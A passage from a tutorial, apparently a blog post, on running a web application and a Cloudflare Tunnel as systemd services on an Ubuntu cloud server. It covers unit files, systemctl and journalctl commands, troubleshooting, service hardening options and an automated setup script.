<span class="hljs-section">[Service]</span>
<span class="hljs-attr">Type</span>=simple
<span class="hljs-attr">User</span>=ubuntu
<span class="hljs-attr">WorkingDirectory</span>=/home/ubuntu/your-app-folder (where is your application folder)
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"NODE_ENV=production"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"PORT=3000"</span>
<span class="hljs-attr">ExecStart</span>=/usr/bin/node server.js
<span class="hljs-attr">Restart</span>=always
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>

<span class="hljs-comment"># Optional: Resource limits</span>
<span class="hljs-comment"># MemoryLimit=512M</span>
<span class="hljs-comment"># CPUQuota=50%</span>

<span class="hljs-comment"># Logging</span>
<span class="hljs-attr">StandardOutput</span>=journal
<span class="hljs-attr">StandardError</span>=journal
<span class="hljs-attr">SyslogIdentifier</span>=myapp

<span class="hljs-section">[Install]</span>
<span class="hljs-attr">WantedBy</span>=multi-user.target
</code></pre>
<p><strong>Understanding Each Section:</strong></p>
<p><strong>[Unit] Section:</strong></p>
<ul>
<li><p><code>Description</code>: Human-readable name for your service</p>
</li>
<li><p><code>After=network.target</code>: Ensures the service starts after the network is available</p>
</li>
</ul>
<p><strong>[Service] Section:</strong></p>
<ul>
<li><p><code>Type=simple</code>: Service runs in the foreground</p>
</li>
<li><p><code>User=ubuntu</code>: Run as the ubuntu user (adjust if different)</p>
</li>
<li><p><code>WorkingDirectory</code>: Where your application files are located</p>
</li>
<li><p><code>Environment</code>: Sets environment variables</p>
</li>
<li><p><code>ExecStart</code>: The exact command to start your application</p>
</li>
<li><p><code>Restart=always</code>: Always restart the service if it stops</p>
</li>
<li><p><code>RestartSec=10</code>: Wait 10 seconds before restarting</p>
</li>
<li><p><code>StandardOutput/StandardError=journal</code>: Send logs to journalctl</p>
</li>
<li><p><code>SyslogIdentifier</code>: Name used in logs</p>
</li>
</ul>
<p><strong>[Install] Section:</strong></p>
<ul>
<li><code>WantedBy=multi-user.target</code>: Start service when system reaches multi-user mode</li>
</ul>
<h4 id="heading-for-python-applications">For Python Applications</h4>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=My Python Application
<span class="hljs-attr">After</span>=network.target

<span class="hljs-section">[Service]</span>
<span class="hljs-attr">Type</span>=simple
<span class="hljs-attr">User</span>=ubuntu
<span class="hljs-attr">WorkingDirectory</span>=/home/ubuntu/your-app-folder
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"PYTHONUNBUFFERED=1"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"FLASK_ENV=production"</span>
<span class="hljs-attr">ExecStart</span>=/usr/bin/python3 app.py
<span class="hljs-attr">Restart</span>=always
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>

<span class="hljs-attr">StandardOutput</span>=journal
<span class="hljs-attr">StandardError</span>=journal
<span class="hljs-attr">SyslogIdentifier</span>=myapp

<span class="hljs-section">[Install]</span>
<span class="hljs-attr">WantedBy</span>=multi-user.target
</code></pre>
<p><strong>Note</strong>: <code>PYTHONUNBUFFERED=1</code> ensures Python output appears in logs immediately.</p>
<h4 id="heading-for-compiled-binaries-go-rust-etc">For Compiled Binaries (Go, Rust, etc.)</h4>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=My Application
<span class="hljs-attr">After</span>=network.target

<span class="hljs-section">[Service]</span>
<span class="hljs-attr">Type</span>=simple
<span class="hljs-attr">User</span>=ubuntu
<span class="hljs-attr">WorkingDirectory</span>=/home/ubuntu/your-app-folder
<span class="hljs-attr">ExecStart</span>=/home/ubuntu/your-app-folder/myapp
<span class="hljs-attr">Restart</span>=always
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>

<span class="hljs-attr">StandardOutput</span>=journal
<span class="hljs-attr">StandardError</span>=journal
<span class="hljs-attr">SyslogIdentifier</span>=myapp

<span class="hljs-section">[Install]</span>
<span class="hljs-attr">WantedBy</span>=multi-user.target
</code></pre>
<p><strong>Important</strong>: Replace <code>/home/ubuntu/your-app-folder</code> with your actual application directory path!</p>
<p>Save and exit: Press <code>Ctrl+X</code>, then <code>Y</code>, then <code>Enter</code></p>
<h3 id="heading-step-3-create-systemd-service-for-cloudflare-tunnel">Step 3: Create Systemd Service for Cloudflare Tunnel</h3>
<p>Now let's create a service for Cloudflare Tunnel that will route external traffic to your application.</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/systemd/system/cloudflared-tunnel.service
</code></pre>
<p>Paste this configuration:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=Cloudflare Tunnel
<span class="hljs-attr">After</span>=network.target myapp.service
<span class="hljs-attr">Wants</span>=myapp.service

<span class="hljs-section">[Service]</span>
<span class="hljs-attr">Type</span>=simple
<span class="hljs-attr">User</span>=ubuntu
<span class="hljs-attr">ExecStart</span>=/usr/local/bin/cloudflared tunnel run my-oracle-tunnel
<span class="hljs-attr">Restart</span>=always
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>

<span class="hljs-attr">StandardOutput</span>=journal
<span class="hljs-attr">StandardError</span>=journal
<span class="hljs-attr">SyslogIdentifier</span>=cloudflared

<span class="hljs-section">[Install]</span>
<span class="hljs-attr">WantedBy</span>=multi-user.target
</code></pre>
<p><strong>Key Configuration Details:</strong></p>
<ul>
<li><p><code>After=network.target myapp.service</code>: Ensures the tunnel starts after your application</p>
</li>
<li><p><code>Wants=myapp.service</code>: Systemd will try to start your app before the tunnel</p>
</li>
<li><p><code>ExecStart</code>: Replace <code>my-oracle-tunnel</code> with your actual tunnel name</p>
</li>
</ul>
<p><strong>Finding Your Tunnel Name:</strong></p>
<p>If you're unsure of your tunnel name:</p>
<p>bash</p>
<pre><code class="lang-bash">cloudflared tunnel list
</code></pre>
<p><strong>Finding Cloudflared Location:</strong></p>
<p>If cloudflared is installed elsewhere:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-built_in">which</span> cloudflared
</code></pre>
<p>Update the <code>ExecStart</code> path accordingly.</p>
<p>Save and exit: Press <code>Ctrl+X</code>, then <code>Y</code>, then <code>Enter</code></p>
<h3 id="heading-step-4-reload-systemd-and-enable-services">Step 4: Reload Systemd and Enable Services</h3>
<p>After creating the service files, systemd needs to reload its configuration and enable the services.</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Reload systemd to recognize new services</span>
sudo systemctl daemon-reload

<span class="hljs-comment"># Enable services to start on boot</span>
sudo systemctl <span class="hljs-built_in">enable</span> myapp.service
sudo systemctl <span class="hljs-built_in">enable</span> cloudflared-tunnel.service

<span class="hljs-comment"># Start the services immediately</span>
sudo systemctl start myapp.service
sudo systemctl start cloudflared-tunnel.service
</code></pre>
<p><strong>What Each Command Does:</strong></p>
<ul>
<li><p><code>daemon-reload</code>: Tells systemd to scan for new or modified service files</p>
</li>
<li><p><code>enable</code>: Configures the service to start automatically on boot</p>
</li>
<li><p><code>start</code>: Starts the service immediately</p>
</li>
</ul>
<h3 id="heading-step-5-verify-everything-is-running">Step 5: Verify Everything is Running</h3>
<p>Check that both services are active and running correctly:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check status of your application</span>
sudo systemctl status myapp.service

<span class="hljs-comment"># Check status of Cloudflare tunnel</span>
sudo systemctl status cloudflared-tunnel.service
</code></pre>
<p><strong>What to Look For:</strong></p>
<p>You should see <code>Active: active (running)</code> in green text. Example output:</p>
<pre><code class="lang-bash">● myapp.service - My Node.js Application
     Loaded: loaded (/etc/systemd/system/myapp.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2025-11-15 22:00:00 UTC; 2min ago
   Main PID: 1234 (node)
      Tasks: 11 (<span class="hljs-built_in">limit</span>: 14273)
     Memory: 45.2M
        CPU: 250ms
     CGroup: /system.slice/myapp.service
             └─1234 /usr/bin/node server.js
</code></pre>
<p><strong>Success Indicators:</strong></p>
<ul>
<li><p><code>Loaded: loaded</code> - Service file is recognized</p>
</li>
<li><p><code>enabled</code> - Will start on boot</p>
</li>
<li><p><code>Active: active (running)</code> - Currently running</p>
</li>
<li><p>Main PID shows the process ID</p>
</li>
<li><p>No error messages</p>
</li>
</ul>
<h2 id="heading-essential-systemd-commands">Essential Systemd Commands</h2>
<p>Now that your services are running, here are the commands you'll use regularly to manage them.</p>
<h3 id="heading-managing-services">Managing Services</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Start a service</span>
sudo systemctl start myapp.service

<span class="hljs-comment"># Stop a service</span>
sudo systemctl stop myapp.service

<span class="hljs-comment"># Restart a service (stop then start)</span>
sudo systemctl restart myapp.service

<span class="hljs-comment"># Reload service configuration without stopping</span>
sudo systemctl reload myapp.service

<span class="hljs-comment"># Check if service is running</span>
sudo systemctl status myapp.service

<span class="hljs-comment"># Enable service to start on boot</span>
sudo systemctl <span class="hljs-built_in">enable</span> myapp.service

<span class="hljs-comment"># Disable service from starting on boot</span>
sudo systemctl <span class="hljs-built_in">disable</span> myapp.service

<span class="hljs-comment"># Check if service is enabled</span>
sudo systemctl is-enabled myapp.service

<span class="hljs-comment"># Check if service is active</span>
sudo systemctl is-active myapp.service
</code></pre>
<h3 id="heading-viewing-logs-with-journalctl">Viewing Logs with Journalctl</h3>
<p>Systemd's logging system is incredibly powerful. Here's how to use it:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># View logs in real-time (like tail -f)</span>
sudo journalctl -u myapp.service -f

<span class="hljs-comment"># View last 100 lines</span>
sudo journalctl -u myapp.service -n 100

<span class="hljs-comment"># View logs from today</span>
sudo journalctl -u myapp.service --since today

<span class="hljs-comment"># View logs since specific time</span>
sudo journalctl -u myapp.service --since <span class="hljs-string">"2025-11-15 20:00:00"</span>

<span class="hljs-comment"># View logs between two times</span>
sudo journalctl -u myapp.service --since <span class="hljs-string">"2025-11-15 20:00:00"</span> --until <span class="hljs-string">"2025-11-15 22:00:00"</span>

<span class="hljs-comment"># View logs with priority level (error and higher)</span>
sudo journalctl -u myapp.service -p err

<span class="hljs-comment"># Export logs to file</span>
sudo journalctl -u myapp.service &gt; myapp-logs.txt

<span class="hljs-comment"># View logs from both services simultaneously</span>
sudo journalctl -u myapp.service -u cloudflared-tunnel.service -f
</code></pre>
<p><strong>Log Priority Levels:</strong></p>
<ul>
<li><p><code>emerg</code> (0): System unusable</p>
</li>
<li><p><code>alert</code> (1): Action must be taken immediately</p>
</li>
<li><p><code>crit</code> (2): Critical conditions</p>
</li>
<li><p><code>err</code> (3): Error conditions</p>
</li>
<li><p><code>warning</code> (4): Warning conditions</p>
</li>
<li><p><code>notice</code> (5): Normal but significant</p>
</li>
<li><p><code>info</code> (6): Informational</p>
</li>
<li><p><code>debug</code> (7): Debug-level messages</p>
</li>
</ul>
<h3 id="heading-advanced-service-management">Advanced Service Management</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># See all enabled services</span>
sudo systemctl list-unit-files | grep enabled

<span class="hljs-comment"># See all running services</span>
sudo systemctl list-units --<span class="hljs-built_in">type</span>=service --state=running

<span class="hljs-comment"># View service dependencies</span>
sudo systemctl list-dependencies myapp.service

<span class="hljs-comment"># Show all properties of a service</span>
sudo systemctl show myapp.service

<span class="hljs-comment"># Edit service file directly</span>
sudo systemctl edit --full myapp.service

<span class="hljs-comment"># Create override file (for modifications without editing main file)</span>
sudo systemctl edit myapp.service
</code></pre>
<h2 id="heading-troubleshooting-common-issues">Troubleshooting Common Issues</h2>
<p>Even with proper configuration, you may encounter issues. Here's how to diagnose and fix them.</p>
<h3 id="heading-issue-1-service-fails-to-start">Issue 1: Service Fails to Start</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p><code>Active: failed</code> status</p>
</li>
<li><p><code>code=exited, status=1/FAILURE</code></p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check detailed error logs</span>
sudo journalctl -u myapp.service -n 50 --no-pager

<span class="hljs-comment"># Verify the executable path</span>
<span class="hljs-built_in">which</span> node  <span class="hljs-comment"># or python3, or check your binary path</span>

<span class="hljs-comment"># Check file permissions</span>
ls -la /home/ubuntu/your-app-folder

<span class="hljs-comment"># Try running the command manually</span>
<span class="hljs-built_in">cd</span> /home/ubuntu/your-app-folder
node server.js
</code></pre>
<p><strong>Common Causes:</strong></p>
<ol>
<li><p><strong>Wrong WorkingDirectory path</strong></p>
<ul>
<li>Solution: Use absolute paths, verify with <code>pwd</code></li>
</ul>
</li>
<li><p><strong>Missing executable</strong></p>
<ul>
<li>Solution: Install required runtime (<code>sudo apt install nodejs</code>)</li>
</ul>
</li>
<li><p><strong>Incorrect file permissions</strong></p>
<ul>
<li>Solution: <code>chmod +x your-binary</code> or <code>chown ubuntu:ubuntu -R /path</code></li>
</ul>
</li>
<li><p><strong>Missing dependencies</strong></p>
<ul>
<li><p>Node.js: <code>npm install</code></p>
</li>
<li><p>Python: <code>pip install -r requirements.txt</code></p>
</li>
</ul>
</li>
<li><p><strong>Syntax errors in code</strong></p>
<ul>
<li>Solution: Test application manually first</li>
</ul>
</li>
</ol>
<h3 id="heading-issue-2-service-starts-then-immediately-stops">Issue 2: Service Starts Then Immediately Stops</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Service status shows <code>activating (auto-restart)</code></p>
</li>
<li><p>Constant restart loop</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Watch logs in real-time</span>
sudo journalctl -u myapp.service -f

<span class="hljs-comment"># Check application-specific logs</span>
cat /home/ubuntu/your-app-folder/app.log
</code></pre>
<p><strong>Common Causes:</strong></p>
<ol>
<li><strong>Port already in use</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">   <span class="hljs-comment"># Check what's using the port</span>
   sudo lsof -i :3000

   <span class="hljs-comment"># Kill the process</span>
   sudo <span class="hljs-built_in">kill</span> &lt;PID&gt;
</code></pre>
<ol start="2">
<li><p><strong>Missing environment variables</strong></p>
<ul>
<li>Solution: Add them to service file under <code>Environment=</code></li>
</ul>
</li>
<li><p><strong>Application crashes on startup</strong></p>
<ul>
<li>Solution: Fix application bugs, check logs</li>
</ul>
</li>
<li><p><strong>Incorrect ExecStart command</strong></p>
<ul>
<li>Solution: Test command manually first</li>
</ul>
</li>
</ol>
<h3 id="heading-issue-3-cant-find-cloudflared">Issue 3: Can't Find Cloudflared</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><code>cloudflared-tunnel.service</code> fails with "No such file or directory"</li>
</ul>
<p><strong>Solution:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Find where cloudflared is installed</span>
<span class="hljs-built_in">which</span> cloudflared

<span class="hljs-comment"># Update the service file with correct path</span>
sudo nano /etc/systemd/system/cloudflared-tunnel.service
<span class="hljs-comment"># Change ExecStart to the path returned by 'which'</span>

<span class="hljs-comment"># Reload and restart</span>
sudo systemctl daemon-reload
sudo systemctl restart cloudflared-tunnel.service
</code></pre>
<h3 id="heading-issue-4-permission-denied-errors">Issue 4: Permission Denied Errors</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Logs show "Permission denied" errors</p>
</li>
<li><p>Service can't write to files or directories</p>
</li>
</ul>
<p><strong>Solution:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Change ownership of application directory</span>
sudo chown -R ubuntu:ubuntu /home/ubuntu/your-app-folder

<span class="hljs-comment"># Give execute permissions to binaries</span>
chmod +x /home/ubuntu/your-app-folder/myapp

<span class="hljs-comment"># Check what user the service runs as</span>
sudo systemctl show myapp.service | grep User
</code></pre>
<h3 id="heading-issue-5-service-running-but-subdomain-not-working">Issue 5: Service Running but Subdomain Not Working</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Both services show <code>active (running)</code></p>
</li>
<li><p>Subdomain returns 502 Bad Gateway or connection timeout</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check if app is listening on the correct port</span>
sudo netstat -tlnp | grep :3000

<span class="hljs-comment"># Check Cloudflare tunnel logs</span>
sudo journalctl -u cloudflared-tunnel.service -n 100

<span class="hljs-comment"># Test local connectivity</span>
curl http://localhost:3000
</code></pre>
<p><strong>Common Causes:</strong></p>
<ol>
<li><p><strong>Application not listening on correct host</strong></p>
<ul>
<li>Solution: Ensure app listens on <code>0.0.0.0</code> or <code>localhost</code></li>
</ul>
</li>
<li><p><strong>Cloudflare tunnel misconfigured</strong></p>
<ul>
<li>Solution: Check tunnel ingress rules in Cloudflare dashboard</li>
</ul>
</li>
<li><p><strong>Firewall blocking connections</strong></p>
<ul>
<li>Solution: Check Oracle Cloud security lists and instance firewall</li>
</ul>
</li>
</ol>
<h3 id="heading-issue-6-high-memory-or-cpu-usage">Issue 6: High Memory or CPU Usage</h3>
<p><strong>Solution - Add Resource Limits:</strong></p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/systemd/system/myapp.service
</code></pre>
<p>Add these lines in the <code>[Service]</code> section:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-comment"># Limit memory to 512MB</span>
<span class="hljs-attr">MemoryLimit</span>=<span class="hljs-number">512</span>M

<span class="hljs-comment"># Limit CPU to 50%</span>
<span class="hljs-attr">CPUQuota</span>=<span class="hljs-number">50</span>%

<span class="hljs-comment"># Limit number of processes</span>
<span class="hljs-attr">TasksMax</span>=<span class="hljs-number">50</span>
</code></pre>
<p>Then reload:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl daemon-reload
sudo systemctl restart myapp.service
</code></pre>
<h2 id="heading-advanced-configuration-options">Advanced Configuration Options</h2>
<h3 id="heading-configuring-restart-policies">Configuring Restart Policies</h3>
<p>Customize how systemd handles service failures:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Only restart on failure (not clean exit)</span>
<span class="hljs-attr">Restart</span>=<span class="hljs-literal">on</span>-failure

<span class="hljs-comment"># Restart on any exit except clean stop</span>
<span class="hljs-attr">Restart</span>=<span class="hljs-literal">on</span>-abnormal

<span class="hljs-comment"># Restart on success or failure</span>
<span class="hljs-attr">Restart</span>=always

<span class="hljs-comment"># Never restart</span>
<span class="hljs-attr">Restart</span>=<span class="hljs-literal">no</span>

<span class="hljs-comment"># Wait before restarting</span>
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>

<span class="hljs-comment"># Maximum restarts within time window</span>
<span class="hljs-attr">StartLimitIntervalSec</span>=<span class="hljs-number">300</span>
<span class="hljs-attr">StartLimitBurst</span>=<span class="hljs-number">5</span>
</code></pre>
<p><strong>Example</strong>: Restart maximum 5 times within 5 minutes, then give up:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Restart</span>=<span class="hljs-literal">on</span>-failure
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">10</span>
<span class="hljs-attr">StartLimitIntervalSec</span>=<span class="hljs-number">300</span>
<span class="hljs-attr">StartLimitBurst</span>=<span class="hljs-number">5</span>
</code></pre>
<h3 id="heading-adding-multiple-environment-variables">Adding Multiple Environment Variables</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"NODE_ENV=production"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"PORT=3000"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"DATABASE_URL=postgresql://..."</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"API_KEY=your-key-here"</span>

<span class="hljs-comment"># Or load from file</span>
<span class="hljs-attr">EnvironmentFile</span>=/home/ubuntu/your-app/.env
</code></pre>
<h3 id="heading-running-as-different-user">Running as Different User</h3>
<p>For security, you might want a dedicated user:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create dedicated user</span>
sudo useradd -r -s /bin/<span class="hljs-literal">false</span> myappuser

<span class="hljs-comment"># Change ownership</span>
sudo chown -R myappuser:myappuser /home/ubuntu/your-app-folder

<span class="hljs-comment"># Update service file</span>
[Service]
User=myappuser
Group=myappuser
</code></pre>
<h3 id="heading-service-dependencies">Service Dependencies</h3>
<p>Ensure correct startup order:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-comment"># Start after these services</span>
<span class="hljs-attr">After</span>=network.target postgresql.service redis.service

<span class="hljs-comment"># Require these services (hard dependency)</span>
<span class="hljs-attr">Requires</span>=postgresql.service

<span class="hljs-comment"># Want these services (soft dependency)</span>
<span class="hljs-attr">Wants</span>=redis.service
</code></pre>
<h3 id="heading-timeout-configuration">Timeout Configuration</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Time to wait for service to start</span>
<span class="hljs-attr">TimeoutStartSec</span>=<span class="hljs-number">60</span>

<span class="hljs-comment"># Time to wait for service to stop</span>
<span class="hljs-attr">TimeoutStopSec</span>=<span class="hljs-number">30</span>

<span class="hljs-comment"># Send SIGKILL if stop timeout exceeded</span>
<span class="hljs-attr">KillMode</span>=mixed
</code></pre>
<h2 id="heading-security-best-practices">Security Best Practices</h2>
<h3 id="heading-1-run-with-minimal-privileges">1. Run with Minimal Privileges</h3>
<p>Never run services as root unless absolutely necessary:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">User</span>=ubuntu
<span class="hljs-attr">Group</span>=ubuntu
</code></pre>
<h3 id="heading-2-use-environment-files-for-secrets">2. Use Environment Files for Secrets</h3>
<p>Instead of hardcoding secrets in service files:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create environment file</span>
sudo nano /home/ubuntu/your-app/.env
</code></pre>
<pre><code class="lang-bash">DATABASE_URL=postgresql://user:pass@host/db
API_KEY=secret-key-here
</code></pre>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Secure the file</span>
sudo chmod 600 /home/ubuntu/your-app/.env
sudo chown ubuntu:ubuntu /home/ubuntu/your-app/.env
</code></pre>
<p>Update service file:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">EnvironmentFile</span>=/home/ubuntu/your-app/.env
</code></pre>
<h3 id="heading-3-restrict-file-system-access">3. Restrict File System Access</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Make /home, /root, /run/user read-only</span>
<span class="hljs-attr">ProtectHome</span>=read-<span class="hljs-literal">on</span>ly

<span class="hljs-comment"># Make /usr, /boot, /efi read-only</span>
<span class="hljs-attr">ProtectSystem</span>=strict

<span class="hljs-comment"># Only allow writing to specific directories</span>
<span class="hljs-attr">ReadWritePaths</span>=/home/ubuntu/your-app/logs
</code></pre>
<h3 id="heading-4-limit-network-access">4. Limit Network Access</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Only allow IPv4</span>
<span class="hljs-attr">RestrictAddressFamilies</span>=AF_INET

<span class="hljs-comment"># Block all except specific ports</span>
<span class="hljs-attr">IPAddressDeny</span>=any
<span class="hljs-attr">IPAddressAllow</span>=localhost
<span class="hljs-attr">IPAddressAllow</span>=<span class="hljs-number">10.0</span>.<span class="hljs-number">0.0</span>/<span class="hljs-number">8</span>
</code></pre>
<h2 id="heading-monitoring-and-maintenance">Monitoring and Maintenance</h2>
<h3 id="heading-setting-up-log-rotation">Setting Up Log Rotation</h3>
<p>Prevent logs from filling up your disk:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check journal disk usage</span>
journalctl --disk-usage

<span class="hljs-comment"># Limit journal size</span>
sudo nano /etc/systemd/journald.conf
</code></pre>
<p>Add:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Journal]</span>
<span class="hljs-attr">SystemMaxUse</span>=<span class="hljs-number">500</span>M
<span class="hljs-attr">SystemMaxFileSize</span>=<span class="hljs-number">100</span>M
</code></pre>
<p>Restart journald:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl restart systemd-journald
</code></pre>
<h3 id="heading-creating-monitoring-alerts">Creating Monitoring Alerts</h3>
<p>Set up email alerts for service failures:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">OnFailure</span>=status-email@%n.service

<span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Your service configuration</span>
</code></pre>
<h3 id="heading-checking-service-health">Checking Service Health</h3>
<p>Create a monitoring script:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># check-services.sh</span>

SERVICES=(<span class="hljs-string">"myapp.service"</span> <span class="hljs-string">"cloudflared-tunnel.service"</span>)

<span class="hljs-keyword">for</span> service <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${SERVICES[@]}</span>"</span>; <span class="hljs-keyword">do</span>
    <span class="hljs-keyword">if</span> ! systemctl is-active --quiet <span class="hljs-string">"<span class="hljs-variable">$service</span>"</span>; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$service</span> is not running!"</span>
        <span class="hljs-comment"># Send alert (email, Slack, etc.)</span>
    <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>Run via cron every 5 minutes:</p>
<p>bash</p>
<pre><code class="lang-bash">crontab -e
</code></pre>
<p>Add:</p>
<pre><code class="lang-bash">*/5 * * * * /home/ubuntu/check-services.sh
</code></pre>
<h2 id="heading-quick-setup-script">Quick Setup Script</h2>
<p>For faster deployment, here's an automated setup script:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># setup-services.sh</span>

<span class="hljs-comment"># Configuration - EDIT THESE</span>
APP_NAME=<span class="hljs-string">"myapp"</span>
APP_DIR=<span class="hljs-string">"/home/ubuntu/tunnel-node"</span>
APP_TYPE=<span class="hljs-string">"node"</span>  <span class="hljs-comment"># node, python, or binary</span>
APP_COMMAND=<span class="hljs-string">"node server.js"</span>
APP_PORT=<span class="hljs-string">"3000"</span>
TUNNEL_NAME=<span class="hljs-string">"my-oracle-tunnel"</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"Setting up systemd services..."</span>

<span class="hljs-comment"># Create application service</span>
sudo tee /etc/systemd/system/<span class="hljs-variable">${APP_NAME}</span>.service &gt; /dev/null &lt;&lt;EOF
[Unit]
Description=<span class="hljs-variable">${APP_NAME}</span> Application
After=network.target

[Service]
Type=simple
User=ubuntu
WorkingDirectory=<span class="hljs-variable">${APP_DIR}</span>
Environment=<span class="hljs-string">"NODE_ENV=production"</span>
Environment=<span class="hljs-string">"PORT=<span class="hljs-variable">${APP_PORT}</span>"</span>
ExecStart=/usr/bin/<span class="hljs-variable">${APP_COMMAND}</span>
Restart=always
RestartSec=10

StandardOutput=journal
StandardError=journal
SyslogIdentifier=<span class="hljs-variable">${APP_NAME}</span>

[Install]
WantedBy=multi-user.target
EOF

<span class="hljs-comment"># Create Cloudflare tunnel service</span>
sudo tee /etc/systemd/system/cloudflared-tunnel.service &gt; /dev/null &lt;&lt;EOF
[Unit]
Description=Cloudflare Tunnel
After=network.target <span class="hljs-variable">${APP_NAME}</span>.service
Wants=<span class="hljs-variable">${APP_NAME}</span>.service

[Service]
Type=simple
User=ubuntu
ExecStart=/usr/<span class="hljs-built_in">local</span>/bin/cloudflared tunnel run <span class="hljs-variable">${TUNNEL_NAME}</span>
Restart=always
RestartSec=10

StandardOutput=journal
StandardError=journal
SyslogIdentifier=cloudflared

[Install]
WantedBy=multi-user.target
EOF

<span class="hljs-comment"># Reload systemd</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Reloading systemd..."</span>
sudo systemctl daemon-reload

<span class="hljs-comment"># Enable services</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Enabling services..."</span>
sudo systemctl <span class="hljs-built_in">enable</span> <span class="hljs-variable">${APP_NAME}</span>.service
sudo systemctl <span class="hljs-built_in">enable</span> cloudflared-tunnel.service

<span class="hljs-comment"># Start services</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Starting services..."</span>
sudo systemctl start <span class="hljs-variable">${APP_NAME}</span>.service
sudo systemctl start cloudflared-tunnel.service

<span class="hljs-comment"># Show status</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"========================================="</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Service Status:"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"========================================="</span>
sudo systemctl status <span class="hljs-variable">${APP_NAME}</span>.service
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
sudo systemctl status cloudflared-tunnel.service

<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Setup complete!"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Check logs with: sudo journalctl -u <span class="hljs-variable">${APP_NAME}</span>.service -f"</span>
</code></pre>
<p>Make it executable and run:</p>
<p>bash</p>
